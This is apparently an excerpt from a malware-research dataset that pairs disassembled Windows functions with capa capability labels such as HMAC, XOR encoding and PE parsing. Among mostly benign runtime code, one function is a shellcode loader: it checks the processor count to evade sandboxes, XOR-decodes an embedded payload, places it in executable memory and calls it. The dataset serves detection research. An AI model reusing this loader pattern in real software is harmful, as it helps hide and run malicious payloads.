joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006c560
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x14006c5a2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x14006c5e9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x14006c642
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x14006c600
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x14006c683
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14007d24a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14007d24b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x14006c650
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x14006d648
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006d692
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006d692
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006d692
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006d692
cmp dword [rcx + 0x84], 0xe
jbe 0x14006d692
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006d694
xor al, al
add rsp, 0x28
ret
Function at 0x140001328
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x58
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rsp + 0x48], rax
movzx eax, byte [rdx]
mov r11, rcx
mov r10, qword [rsp + 0x88]
shl eax, 0x18
mov dword [rsp + 0x38], eax
movzx eax, word [rdx + 1]
mov dword [rsp + 0x3c], eax
mov rax, qword [rdx + 3]
add rdx, 0xb
mov qword [rsp + 0x40], rax
mov rax, qword [rcx + 8]
mov qword [r10], rax
mov rax, qword [rcx + 8]
mov qword [rsp + 0x28], r10
movzx ecx, word [rax]
mov dword [r10 + 8], ecx
lea rcx, str.ETW0
mov qword [r10 + 0x10], rdx
mov dword [r10 + 0xc], 2
movzx eax, word [rdx]
lea rdx, [rsp + 0x38]
mov dword [r10 + 0x18], eax
lea rax, [0x14000920d]
sub eax, ecx
mov dword [r10 + 0x1c], 1
mov rcx, qword [r11 + 0x20]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_EventWriteTransfer]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140006320
add rsp, 0x58
ret
Function at 0x140002e5c
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x13c0]
mov eax, 0x14c0
call fcn.1400071c0
sub rsp, rax
mov r14, r8
mov esi, edx
mov rdi, rcx
mov r15, qword [rbp + 0x1428]
xor r13d, r13d
mov word [rbp + 0x3c0], r13w
mov byte [rbp - 0x40], r13b
mov rbx, qword [rbp + 0x1430]
mov ecx, dword [rbx]
mov dword [rsp + 0x28], ecx
mov eax, dword [rbx + 4]
mov dword [rsp + 0x2c], eax
call fcn.140003630
mov r12d, eax
mov dword [rsp + 0x20], 3
mov ecx, r13d
lea eax, [r13 + 8]
cmp byte [rbx + 8], r13b
cmovne ecx, eax
mov dword [rsp + 0x24], ecx
lea ecx, [rax - 7]
lock xadd dword [0x14000b928], ecx
inc ecx
mov dword [rsp + 0x30], ecx
mov rcx, qword [rbp + 0x1438]
test rcx, rcx
je 0x140002efd
cmp word [rcx], r13w
mov qword [rsp + 0x38], rcx
jne 0x140002f02
mov qword [rsp + 0x38], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x58], r14
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x64], r12d
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], rdi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x68], xmm1
movups xmmword [rsp + 0x78], xmm1
mov rax, qword [0x14000b8c8]
test rax, rax
je 0x140002f5e
call qword [0x140008370]
mov qword [rbp - 0x60], rax
jmp 0x140002f62
mov qword [rbp - 0x60], r13
mov rax, qword [0x14000b8d0]
test rax, rax
je 0x140002f83
mov r8d, 0x400
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x20]
call qword [0x140008370]
mov rax, qword [0x14000b8d8]
test rax, rax
je 0x140002f9a
lea rcx, [rsp + 0x20]
call qword [0x140008370]
mov rax, qword [0x14000b8e0]
test rax, rax
je 0x140002fb1
lea rcx, [rsp + 0x20]
call qword [0x140008370]
cmp dword [rsp + 0x28], r13d
jl 0x140002fca
mov ecx, 0x8000ffff
mov dword [rsp + 0x28], ecx
call fcn.140003d74
mov dword [rsp + 0x2c], eax
cmp byte [0x14000b8e8], r13b
jne 0x140003023
mov rax, qword [0x14000b8f0]
test rax, rax
je 0x140002fea
call qword [0x140008370]
movzx ecx, al
jmp 0x140002ff8
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, r13d
test eax, eax
setne cl
test ecx, ecx
jne 0x140003023
mov rax, qword [0x14000b910]
test rax, rax
je 0x14000307d
cmp byte [0x14000b908], r13b
jne 0x14000307d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [0x140008370]
jmp 0x14000307d
mov ebx, 0x800
mov rax, qword [0x14000b910]
test rax, rax
je 0x140003052
cmp byte [0x14000b908], r13b
jne 0x140003052
mov r8d, ebx
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x20]
call qword [0x140008370]
cmp word [rbp + 0x3c0], r13w
jne 0x140003070
lea r8, [rsp + 0x20]
mov rdx, rbx
lea rcx, [rbp + 0x3c0]
call fcn.1400036f8
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp byte [0x14000b918], r13b
je 0x140003099
mov rax, qword [0x14000b920]
test rax, rax
je 0x140003099
call qword [0x140008370]
nop
lea rcx, [rsp + 0x20]
call fcn.140002db0
int3
Function at 0x140003290
Capabilities:
Print debug messages

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x13d0]
mov eax, 0x14d0
call fcn.1400071c0
sub rsp, rax
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rbp + 0x13c0], rax
mov rsi, r8
mov edi, edx
mov rbx, rcx
mov r14, qword [rbp + 0x1438]
xor r12d, r12d
mov word [rbp + 0x3c0], r12w
mov byte [rbp - 0x40], r12b
mov rdx, qword [rbp + 0x1440]
mov ecx, dword [rdx]
mov dword [rsp + 0x28], ecx
mov eax, dword [rdx + 4]
mov dword [rsp + 0x2c], eax
call fcn.140003600
mov r15d, eax
lea r8d, [r12 + 1]
mov dword [rsp + 0x20], r8d
mov ecx, r12d
lea eax, [r12 + 8]
cmp byte [rdx + 8], r12b
cmovne ecx, eax
mov dword [rsp + 0x24], ecx
mov ecx, r8d
lock xadd dword [0x14000b928], ecx
add ecx, r8d
mov dword [rsp + 0x30], ecx
mov rcx, qword [rbp + 0x1448]
test rcx, rcx
je 0x140003341
cmp word [rcx], r12w
mov qword [rsp + 0x38], rcx
jne 0x140003346
mov qword [rsp + 0x38], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x60], edi
mov dword [rsp + 0x64], r15d
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r12
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], rbx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x68], xmm1
movups xmmword [rsp + 0x78], xmm1
mov rax, qword [0x14000b8c8]
test rax, rax
je 0x1400033a2
call qword [0x140008370]
mov qword [rbp - 0x60], rax
jmp 0x1400033a6
mov qword [rbp - 0x60], r12
mov rax, qword [0x14000b8d0]
test rax, rax
je 0x1400033c7
mov r8d, 0x400
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x20]
call qword [0x140008370]
mov rax, qword [0x14000b8d8]
test rax, rax
je 0x1400033de
lea rcx, [rsp + 0x20]
call qword [0x140008370]
mov rax, qword [0x14000b8e0]
test rax, rax
je 0x1400033f5
lea rcx, [rsp + 0x20]
call qword [0x140008370]
cmp dword [rsp + 0x28], r12d
jge 0x1400034f0
cmp byte [0x14000b8e8], r12b
jne 0x140003459
mov rax, qword [0x14000b8f0]
test rax, rax
je 0x140003420
call qword [0x140008370]
movzx ecx, al
jmp 0x14000342e
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, r12d
test eax, eax
setne cl
test ecx, ecx
jne 0x140003459
mov rax, qword [0x14000b910]
test rax, rax
je 0x1400034b3
cmp byte [0x14000b908], r12b
jne 0x1400034b3
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [0x140008370]
jmp 0x1400034b3
mov ebx, 0x800
mov rax, qword [0x14000b910]
test rax, rax
je 0x140003488
cmp byte [0x14000b908], r12b
jne 0x140003488
mov r8d, ebx
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x20]
call qword [0x140008370]
cmp word [rbp + 0x3c0], r12w
jne 0x1400034a6
lea r8, [rsp + 0x20]
mov rdx, rbx
lea rcx, [rbp + 0x3c0]
call fcn.1400036f8
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp byte [0x14000b918], r12b
je 0x1400034cf
mov rax, qword [0x14000b920]
test rax, rax
je 0x1400034cf
call qword [0x140008370]
nop
mov rcx, qword [rbp + 0x13c0]
xor rcx, rsp
call fcn.140006320
add rsp, 0x14d0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14000363c
nop
int3
jmp 0x140003290
Function at 0x1400034f8
Capabilities:
Print debug messages

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x13d0]
mov eax, 0x14d0
call fcn.1400071c0
sub rsp, rax
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rbp + 0x13c0], rax
mov rsi, r8
mov edi, edx
mov rbx, rcx
mov r14, qword [rbp + 0x1438]
xor r12d, r12d
mov word [rbp + 0x3c0], r12w
mov byte [rbp - 0x40], r12b
mov rdx, qword [rbp + 0x1440]
mov ecx, dword [rdx]
mov dword [rsp + 0x28], ecx
mov eax, dword [rdx + 4]
mov dword [rsp + 0x2c], eax
call fcn.140003600
mov r15d, eax
lea r8d, [r12 + 1]
mov dword [rsp + 0x20], r8d
mov ecx, r12d
lea eax, [r12 + 8]
cmp byte [rdx + 8], r12b
cmovne ecx, eax
mov dword [rsp + 0x24], ecx
mov ecx, r8d
lock xadd dword [0x14000b928], ecx
add ecx, r8d
mov dword [rsp + 0x30], ecx
mov rcx, qword [rbp + 0x1448]
test rcx, rcx
je 0x140003341
cmp word [rcx], r12w
mov qword [rsp + 0x38], rcx
jne 0x140003346
mov qword [rsp + 0x38], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x60], edi
mov dword [rsp + 0x64], r15d
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r12
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], rbx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x68], xmm1
movups xmmword [rsp + 0x78], xmm1
mov rax, qword [0x14000b8c8]
test rax, rax
je 0x1400033a2
call qword [0x140008370]
mov qword [rbp - 0x60], rax
jmp 0x1400033a6
mov qword [rbp - 0x60], r12
mov rax, qword [0x14000b8d0]
test rax, rax
je 0x1400033c7
mov r8d, 0x400
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x20]
call qword [0x140008370]
mov rax, qword [0x14000b8d8]
test rax, rax
je 0x1400033de
lea rcx, [rsp + 0x20]
call qword [0x140008370]
mov rax, qword [0x14000b8e0]
test rax, rax
je 0x1400033f5
lea rcx, [rsp + 0x20]
call qword [0x140008370]
cmp dword [rsp + 0x28], r12d
jge 0x1400034f0
cmp byte [0x14000b8e8], r12b
jne 0x140003459
mov rax, qword [0x14000b8f0]
test rax, rax
je 0x140003420
call qword [0x140008370]
movzx ecx, al
jmp 0x14000342e
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, r12d
test eax, eax
setne cl
test ecx, ecx
jne 0x140003459
mov rax, qword [0x14000b910]
test rax, rax
je 0x1400034b3
cmp byte [0x14000b908], r12b
jne 0x1400034b3
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [0x140008370]
jmp 0x1400034b3
mov ebx, 0x800
mov rax, qword [0x14000b910]
test rax, rax
je 0x140003488
cmp byte [0x14000b908], r12b
jne 0x140003488
mov r8d, ebx
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x20]
call qword [0x140008370]
cmp word [rbp + 0x3c0], r12w
jne 0x1400034a6
lea r8, [rsp + 0x20]
mov rdx, rbx
lea rcx, [rbp + 0x3c0]
call fcn.1400036f8
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp byte [0x14000b918], r12b
je 0x1400034cf
mov rax, qword [0x14000b920]
test rax, rax
je 0x1400034cf
call qword [0x140008370]
nop
mov rcx, qword [rbp + 0x13c0]
xor rcx, rsp
call fcn.140006320
add rsp, 0x14d0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14000363c
nop
int3
jmp 0x140003290
Function at 0x140005210
Capabilities:
Check if file exists

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x250
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov r15, r8
xor r13d, r13d
mov qword [r8], r13
mov r9d, 0x104
lea rdx, [rsp + 0x30]
lea rax, [rsp + 0x30]
sub rcx, rax
lea rax, [r9 + 0x7ffffefa]
test rax, rax
je 0x140005285
movzx eax, word [rcx + rdx]
test ax, ax
je 0x140005285
mov word [rdx], ax
add rdx, 2
sub r9, 1
jne 0x140005263
lea rax, [rdx - 2]
test r9, r9
cmovne rax, rdx
mov word [rax], r13w
lea r8, [0x1400089a8]
lea rcx, [rsp + 0x30]
call fcn.140004108
lea r8, [rsp + 0x30]
xor edx, edx
mov ebx, 0x1f0003
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov rdi, rax
test rax, rax
setne r12b
test rax, rax
jne 0x1400052f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x1400053d6
mov rcx, qword [rbp + 0x178]
lea r8, [0x14000897c]
mov edx, 0xc9
call fcn.1400035d0
mov esi, eax
jmp 0x1400053d9
mov dword [rsp + 0x24], r13d
mov dword [rsp + 0x20], r13d
lea rdx, [rsp + 0x24]
mov rcx, rdi
call fcn.1400050b0
mov esi, eax
test eax, eax
jns 0x14000532f
lfence
mov rcx, qword [rbp + 0x178]
mov r9d, eax
mov edx, 0xcf
call fcn.140004ff8
jmp 0x1400053d9
lea r8, [0x1400089b0]
lea rcx, [rsp + 0x30]
call fcn.140004108
lea r8, [rsp + 0x30]
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov rbx, rax
test rax, rax
setne r14b
test rax, rax
jne 0x14000537a
mov rcx, qword [rbp + 0x178]
lea r8, [0x14000897c]
mov edx, 0xd5
call fcn.1400035d0
mov esi, eax
jmp 0x1400053a4
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.1400050b0
mov esi, eax
test eax, eax
jns 0x1400053b4
lfence
mov rcx, qword [rbp + 0x178]
mov r9d, eax
mov edx, 0xd7
call fcn.140004ff8
test r14b, r14b
je 0x1400053d9
mov rcx, rbx
call fcn.140005050
nop
jmp 0x1400053d9
test r14b, r14b
je 0x1400053c2
mov rcx, rbx
call fcn.140005050
nop
movsxd rcx, dword [rsp + 0x20]
shl rcx, 0x1f
movsxd rax, dword [rsp + 0x24]
or rax, rcx
mov qword [r15], rax
mov esi, r13d
test r12b, r12b
je 0x1400053e7
mov rcx, rdi
call fcn.140005050
nop
mov eax, esi
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.140006320
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get system information on windows

Disassembly:
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x40], 4
jae 0x1400010b8
lea rcx, str.Not_enough_processors._Exiting..._n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001220
add rsp, 0x68
ret
movdqa xmm2, xmmword [str.1111111111111111_]
lea rax, [0x140003090]
mov qword [rsp + 0x60], rbx
xor ecx, ecx
nop
movdqu xmm0, xmmword [rax - 0x10]
add ecx, 0x40
lea rax, [rax + 0x40]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
xorps xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
movdqu xmm0, xmmword [rax - 0x20]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x20], xmm0
cmp ecx, 0x140
jb 0x1400010d0
movsxd rax, ecx
lea rbx, [0x140003080]
cmp rax, 0x140
jae 0x140001141
add rax, rbx
nop dword [rax]
xor byte [rax], 0x31
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x140
jb 0x140001130
lea rcx, str.testing_n_n
call fcn.140001010
xor ecx, ecx
mov edx, 0x141
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov rcx, rax
mov edx, 2
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140001170
movups xmm0, xmmword [rbx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movzx eax, byte [rbx + 0x40]
mov byte [rcx + 0x40], al
call r8
mov rbx, qword [rsp + 0x60]
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001220
add rsp, 0x68
ret

Function at 0x140001ae0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b2a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b2c
xor al, al
add rsp, 0x28
ret
Function at 0x4153e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41556b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x005ffe18]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x415445
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x415454
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x415473
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x415483
cmp rbx, 0x1000
jae 0x41544b
jmp 0x4154ed
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x415495
xor edx, edx
jmp 0x4154e4
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x005ffe18]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x415479
jmp 0x415468
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x005ffe18]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call sym.runtime.printlock
lea rax, [0x004e88d1]
mov ebx, 0x18
nop dword [rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x004e8f7a]
mov ebx, 0x19
nop dword [rax + rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x30]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x004eb92a]
mov ebx, 0x21
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.runtime.sysUnusedOS
Function at 0x4155a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4157c6
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call sym.runtime.stdcall4.abi0
xorps xmm15, xmm15
mov r14, qword [0x005ffe18]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x415613
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x415622
add rsp, 0x50
pop rbp
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x415645
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x415655
cmp rbx, 0x1000
jae 0x415619
nop
jmp 0x4156d8
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop word [rax + rax]
cmp rbx, 0x1000
jae 0x41566d
xor esi, esi
jmp 0x4156ca
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call sym.runtime.stdcall4.abi0
xorps xmm15, xmm15
mov r14, qword [0x005ffe18]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x41564b
jmp 0x415636
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x005ffe18]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x415760
nop dword [rax + rax]
call sym.runtime.printlock
lea rax, [0x004e8f93]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
call sym.runtime.printuint
lea rax, [0x004e8f7a]
mov ebx, 0x19
call sym.runtime.printstring
mov eax, dword [rsp + 0x34]
call sym.runtime.printuint
nop
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x004e48ac]
mov ebx, 0xd
call sym.runtime.throw
nop dword [rax + rax]
cmp eax, 0x5af
je 0x415700
call sym.runtime.printlock
lea rax, [0x004e8f93]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x004e8f7a]
mov ebx, 0x19
call sym.runtime.printstring
mov eax, dword [rsp + 0x34]
nop dword [rax]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x004eb0a3]
mov ebx, 0x1f
nop dword [rax + rax]
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp sym.runtime.sysUsedOS